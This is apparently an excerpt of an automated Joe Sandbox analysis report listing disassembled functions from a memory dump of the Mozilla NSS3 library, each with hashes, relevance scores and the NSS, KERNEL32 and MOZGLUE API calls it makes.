Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 1a65e3e9b99198f8bcbba31e37ab1fcfe75c2ec1d982a1e2c88f1402cc9bae99
Instruction ID: 7395a2a27467f3e76094f2e386a4622593ab72537c6da3d6bd4a0b74041014c9
Opcode Fuzzy Hash: 1a65e3e9b99198f8bcbba31e37ab1fcfe75c2ec1d982a1e2c88f1402cc9bae99
Instruction Fuzzy Hash: F321E3F6901602ABE7058A15DD40FAB7768FB4621CF240215E83896B90E732F929CFB5

Function 6C5E1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5E1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C5E1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5E1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C5E1EAD

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: cf8c0ed9fca987b7f7eba46b42ac527359618d88fc78427ff0cd86c14118120c
Instruction ID: 49c93cdce456751fec2f8c232afd1a47e0062e4623ad6f36863534aa076fd372
Opcode Fuzzy Hash: cf8c0ed9fca987b7f7eba46b42ac527359618d88fc78427ff0cd86c14118120c
Instruction Fuzzy Hash: E221D072E08314ABD7008F68DC40B9BB7A49BC9368F148638FD5957782E730DD4887E6

Function 6C601850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C60002B,?), ref: 6C601875

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

TlsGetValue.KERNEL32(?,?,6C60002B,?), ref: 6C60188E
EnterCriticalSection.KERNEL32(?,?,?,6C60002B,?), ref: 6C6018A7
PR_ExitMonitor.NSS3(?,?,?,?,6C60002B,?), ref: 6C601905
PR_Unlock.NSS3(?,?,?,?,6C60002B,?), ref: 6C601912

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: e2dffbf79ee29b90f4c22f7b13025effb3a50bef81e8e252ee799116606b861f
Instruction ID: d51099b2e98eb362c18eb455f29c11ccb08d5e740211eecac4ad5e716046d09a
Opcode Fuzzy Hash: e2dffbf79ee29b90f4c22f7b13025effb3a50bef81e8e252ee799116606b861f
Instruction Fuzzy Hash: 83214F74A04A069BDB14AF79C184A99B7F4FF0631CF114A29D898D7B00E730E994CBD6

Function 6C6F1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C6F1E5C

Part of subcall function 6C6A9BF0: TlsGetValue.KERNEL32(?,?,?,6C6F0A75), ref: 6C6A9C07

PR_Lock.NSS3(00000000), ref: 6C6F1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6F1EAB
PR_GetCurrentThread.NSS3 ref: 6C6F1ED0
PR_Unlock.NSS3(?), ref: 6C6F1EE8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 2530074ddacf6a6e5ea86d114af8b3d74225d3ee38ec6a79d131ba6319914b76
Instruction ID: 3d36c0fdc1e03bafd83444f1a137d93fcddb2b7a17358a6b9480fe315f67baa3
Opcode Fuzzy Hash: 2530074ddacf6a6e5ea86d114af8b3d74225d3ee38ec6a79d131ba6319914b76
Instruction Fuzzy Hash: BF21D0B4A04612AFD700CF19D840A46B7B2FF45768B258229D8259BB41D731FC27CBD9

Function 6C63BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5EE708,00000000,00000000,00000004,00000000), ref: 6C63BE6A

Part of subcall function 6C640840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6408B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5F04DC,?), ref: 6C63BE7E

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C63BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5F04DC,?,?), ref: 6C63BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C63BEEB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 0f032301c3641caa54f5d43b9d06895c50579f666e1cf1e7fc0cec5f8eb0d9b7
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: DF11E266A04B3567E7008969AC80F5B736DDBC1798F047129FE0D96A92E721D80486EE

Function 6C5EAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C5E3FFF,00000000,?,?,?,?,?,6C5E1A1C,00000000,00000000), ref: 6C5EADA7

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C5E3FFF,00000000,?,?,?,?,?,6C5E1A1C,00000000,00000000), ref: 6C5EADB4

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C5E3FFF,?,?,?,?,6C5E3FFF,00000000,?,?,?,?,?,6C5E1A1C,00000000), ref: 6C5EADD5

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7094B0,?,?,?,?,?,?,?,?,6C5E3FFF,00000000,?), ref: 6C5EADEC

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E3FFF), ref: 6C5EAE3C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: f09d9553c6db8d09f47361676b623a956d8f97ac82a04b2511b9d3ebd66eed3d
Instruction ID: 009675e7d856bb755a054d3089d87a8e2f35b92dab7d2247f58226e54ec481ba
Opcode Fuzzy Hash: f09d9553c6db8d09f47361676b623a956d8f97ac82a04b2511b9d3ebd66eed3d
Instruction Fuzzy Hash: 90113871E003186BE7109B759C41BBF77B8DF9A24DF048628EC1996741FB60E95882EA

Function 6C63F860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C63F893

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C5F66A0), ref: 6C63F8AA

Part of subcall function 6C63FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C638D2D,?,00000000,?), ref: 6C63FB85
Part of subcall function 6C63FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C63FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C63F8B9

Part of subcall function 6C641200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C641228
Part of subcall function 6C641200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C641238
Part of subcall function 6C641200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C64124B
Part of subcall function 6C641200: PR_CallOnce.NSS3(6C742AA4,6C6412D0,00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C64125D
Part of subcall function 6C641200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C64126F
Part of subcall function 6C641200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C641280
Part of subcall function 6C641200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C64128E
Part of subcall function 6C641200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C64129A
Part of subcall function 6C641200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6412A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C63F8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7118E0), ref: 6C63F905

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: 4202067b473b742dfa619672dedd5b338fae6543c345acf2fbc9d2a80c71e515
Instruction ID: 7bf536bfcc60a14458bdc61cee2f9822eb5e956bf685bab2322ac99da3f82b6d
Opcode Fuzzy Hash: 4202067b473b742dfa619672dedd5b338fae6543c345acf2fbc9d2a80c71e515
Instruction Fuzzy Hash: A4112772E003146BE3009F259D41B6B7AE8DF9678CF009269FD188B641FB31D91883EB

Function 6C5F8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C600710), ref: 6C5F8FF1
PR_CallOnce.NSS3(6C742158,6C5F9150,00000000,?,?,?,6C5F9138,?,6C600710), ref: 6C5F9029
calloc.MOZGLUE(00000001,00000000,?,?,6C600710), ref: 6C5F904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C600710), ref: 6C5F9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C600710), ref: 6C5F9078

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 24cf6dafa893738db86ce15491a939fc8daee83fc9630dbf09027c7da0450868
Instruction ID: 99ee16c4d54c5861283938404e1426922e0b480724f01bb6ed690cbf2c426fcd
Opcode Fuzzy Hash: 24cf6dafa893738db86ce15491a939fc8daee83fc9630dbf09027c7da0450868
Instruction Fuzzy Hash: F411483170051157E7245EAE9C04A6732ACEB837ACF100531FC64C2B40F753CD468BA6

Function 6C60CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C621E10: TlsGetValue.KERNEL32 ref: 6C621E36
Part of subcall function 6C621E10: EnterCriticalSection.KERNEL32(?,?,?,6C5FB1EE,2404110F,?,?), ref: 6C621E4B
Part of subcall function 6C621E10: PR_Unlock.NSS3 ref: 6C621E76

free.MOZGLUE(?,6C60D079,00000000,00000001), ref: 6C60CDA5
PK11_FreeSymKey.NSS3(?,6C60D079,00000000,00000001), ref: 6C60CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C60D079,00000000,00000001), ref: 6C60CDCF
DeleteCriticalSection.KERNEL32(?,6C60D079,00000000,00000001), ref: 6C60CDE2
free.MOZGLUE(?), ref: 6C60CDE9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 12a3f61cd54840158aa71d4823501ce53ee2d959293eb3eb6b6cce03be7e7ae7
Instruction ID: fa7e669635d9a2e12e049b51d5822fd26a5b836ef34e424e48231c4223d74265
Opcode Fuzzy Hash: 12a3f61cd54840158aa71d4823501ce53ee2d959293eb3eb6b6cce03be7e7ae7
Instruction Fuzzy Hash: 5311C6B2B01115BBDB00AF65ED45996B77CFF0435A7100131E90AD7E41D732E424CBE6

Function 6C672CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C675B40: PR_GetIdentitiesLayer.NSS3 ref: 6C675B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C672CEC

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_EnterMonitor.NSS3(?), ref: 6C672D02
PR_EnterMonitor.NSS3(?), ref: 6C672D1F
PR_ExitMonitor.NSS3(?), ref: 6C672D42
PR_ExitMonitor.NSS3(?), ref: 6C672D5B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 49c89928c3e524a2471dbe9c2b2d72b3e8f3f3723d9a75d55f3e375a567a064a
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 4A01C8B19102009FE6309E66FC40BC7B7E1EF4635CF104925E85986710E632F8158BAA

Function 6C672D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C675B40: PR_GetIdentitiesLayer.NSS3 ref: 6C675B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C672D9C

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_EnterMonitor.NSS3(?), ref: 6C672DB2
PR_EnterMonitor.NSS3(?), ref: 6C672DCF
PR_ExitMonitor.NSS3(?), ref: 6C672DF2
PR_ExitMonitor.NSS3(?), ref: 6C672E0B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 4f3e581a55ca929f0f7efa354381c7a529932658f0d2c6572ca352dbf1103c04
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 0D01C8B19002009FE7309E65FC01BC7B7A1EF4235CF100939E85986B10D632F81686BE

Function 6C60AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C60AE42), ref: 6C5F30AA
Part of subcall function 6C5F3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F30C7
Part of subcall function 6C5F3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5F30E5
Part of subcall function 6C5F3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F3116
Part of subcall function 6C5F3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F312B
Part of subcall function 6C5F3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5F3154
Part of subcall function 6C5F3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C5E99FF,?,?,?,?,?,?,?,?,?,6C5E2D6B,?), ref: 6C60AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C5E99FF,?,?,?,?,?,?,?,?,?,6C5E2D6B,?), ref: 6C60AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5E2D6B,?,?,00000000), ref: 6C60AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C5E2D6B,?,?,00000000), ref: 6C60AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5E2D6B,?,?), ref: 6C60AEA3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: d44a3d67d116c42645cbd92017ab2e328cf4f62a3682df192228c0c865bbe33b
Instruction ID: 121b5e5ab61fdc931852923a7effdfd9bbc0b721d14f102da877f0b71395f0d5
Opcode Fuzzy Hash: d44a3d67d116c42645cbd92017ab2e328cf4f62a3682df192228c0c865bbe33b
Instruction Fuzzy Hash: CA01F4B2B0452097E709912CAE85AEF31598F976DCF080431E909E7B03F611DD0756EF

Function 6C6FBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C6F7AFE,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FBDC3
free.MOZGLUE(?,?,6C6F7AFE,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6F7AFE,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FBDE9
free.MOZGLUE(?,00000000,00000000,?,6C6F7AFE,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FBE21
free.MOZGLUE(00000000,00000000,?,6C6F7AFE,?,?,?,?,?,?,?,?,6C6F798A), ref: 6C6FBE32

Memory Dump Source

